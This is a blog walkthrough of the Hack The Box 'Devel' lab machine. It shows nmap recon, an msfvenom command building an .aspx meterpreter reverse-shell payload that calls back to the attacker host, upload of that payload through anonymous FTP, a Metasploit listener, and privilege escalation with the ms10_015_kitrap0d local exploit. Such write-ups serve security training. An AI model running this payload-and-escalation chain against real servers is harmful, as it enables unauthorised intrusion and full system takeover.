HTB Devel

May 12, 2020 3-minute read

ctf • windows

0x02 Recon and Enum Link to heading

nmap Link to heading

1ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.5 | grep -P "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -sC -sV -p$ports -oA devel 10.10.10.5

ftp Link to heading

We do have anonymous access to ftp and it seems that it allows us to upload files.

I’ll try to upload some files later. let’s see what else we’ve got.

http Link to heading

Not much for web-server. It’s just an image that redirects to MS website about IIS 7.5

Seems like the only option to try to upload the file to ftp server and then run it. Maybe there is some sort of misconfiguration there.

0x03 PrivEsc Link to heading

FTP webshell upload Link to heading

Let’s generate the webshell using msfvenom and .aspx as a file name.

1msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.23 LPORT=4444 -f aspx> devel.aspx

Now, we have to start the listener using metasploit.

 1msf5 > use multi/handler
 2[*] Using configured payload generic/shell_reverse_tcp
 3msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
 4payload => windows/meterpreter/reverse_tcp
 5msf5 exploit(multi/handler) > set lhost tun0
 6lhost => tun0
 7msf5 exploit(multi/handler) > set lport 4444
 8lport => 4444
 9msf5 exploit(multi/handler) > set ExitOnSession false
10ExitOnSession => false
11msf5 exploit(multi/handler) > exploit -j
12[*] Exploit running as background job 0.
13[*] Exploit completed, but no session was created.
14
15[*] Started reverse TCP handler on 10.10.14.23:4444 
16msf5 exploit(multi/handler) >

Now, let’s upload the created file to the server using FileZilla and navigate to the file using the web-browser.

We should have the meterpreter session now:

Indeed, we’ve got the shell:

Let’s see what else we can do…

root Link to heading

Let’s try to run local_expoit_suggester and see if it can find something useful, since it is x86 system.

 1meterpreter > run post/multi/recon/local_exploit_suggester 
 2
 3[*] 10.10.10.5 - Collecting local exploits for x86/windows...
 4[*] 10.10.10.5 - 34 exploit checks are being tried...
 5[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
 6nil versions are discouraged and will be deprecated in Rubygems 4
 7[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
 8[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
 9[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
10[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
11[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
12[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
13[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
14[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
15[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
16[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
17[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.

Wow! Heaps of stuff, let’s check them out starting with the first one: bypassuac_eventvwr

It didn’t work:

1[-] Exploit aborted due to failure: no-access: Not in admins group, cannot escalate with this module
2[*] Exploit completed, but no session was created.

Let’s try the second suggestion.

And it worked.

1use exploit/windows/local/ms10_015_kitrap0d
2#set all the options - LHOST, LPORT and session
3run

I’ve got the system shell. Now it’s EZ PZ to read needed files for flags.